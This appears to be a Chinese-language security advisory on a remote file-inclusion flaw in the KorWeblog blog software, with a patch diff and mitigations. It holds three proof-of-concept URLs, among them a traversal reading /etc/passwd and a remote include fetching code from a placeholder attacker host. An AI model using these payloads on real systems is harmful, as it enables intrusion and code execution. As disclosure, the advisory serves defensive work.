|
涉及程序: BLOG程序 描述: KorWeblog php远程注入漏洞 详细: KorWeblog是韩国的一款流行的BLOG程序。
KorWeblog包含的"/install/index.php"脚本对用户提交的参数缺少充分过滤,远程攻击者可以利用这个漏洞以WEB进程权限在系统上执行任意命令。
"/install/index.php"脚本对用户提交给"lng"参数的数据缺少充分过滤,可指定远程服务器上的恶意文件作为包含文件,导致以WEB进程执行文件中的恶意PHP命令。
<*来源:mins (mins@fsu.or.kr)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110442847614890&w=2 *>
受影响系统: KorWeblog KorWeblog 1.6.2-cvs 攻击方法: 以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
mins (mins@fsu.or.kr)提供了如下测试方法:
- 1st case php.ini : register_globals = On, magic_quotes_gpc = Off http://[victim]/weblog/install/index.php?lng=../../../../../../etc/passwd%00
- 2nd case php.ini : register_globals = On http://[victim]/weblog/install/index.php?lng=../../phpinfo
- 3rd case php.ini : register_globals = On, allow_url_fopen : On http://[victim]/weblog/install/index.php?lng=../../include/main.inc&G_PATH=http://[hacker] 解决方案: 临时解决方法:
如果您不能立刻安装补丁或者升级,CNNS建议您采取以下措施以降低威胁:
* 第三方补丁如下:
mins@hackme:~/public_html/korweblog-1.6.1/install$ cat index.diff --- index_1_6_1.php Mon Dec 27 17:31:50 2004 +++ index.phpMon Dec 27 17:40:51 2004 @@ -18,7 +18,10 @@
$G_VER = "1.6.1";
-if (!empty($lng)) include("lang/$lng" . ".php"); +if (!empty($lng)) { + if (eregi("\.\.",$lng) || eregi("/",$lng)) $lng="korean"; + include("lang/$lng" . ".php"); +}
$sql_form ="<P> <TABLE><TR><TD COLSPAN=2><B>". _SQL_INPUT ."</B></TD>
* 或设置"allow_url_fopen"为"off".
* 删除安装文件。
厂商补丁:
KorWeblog --------- 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://weblog.kldp.org

OVER
|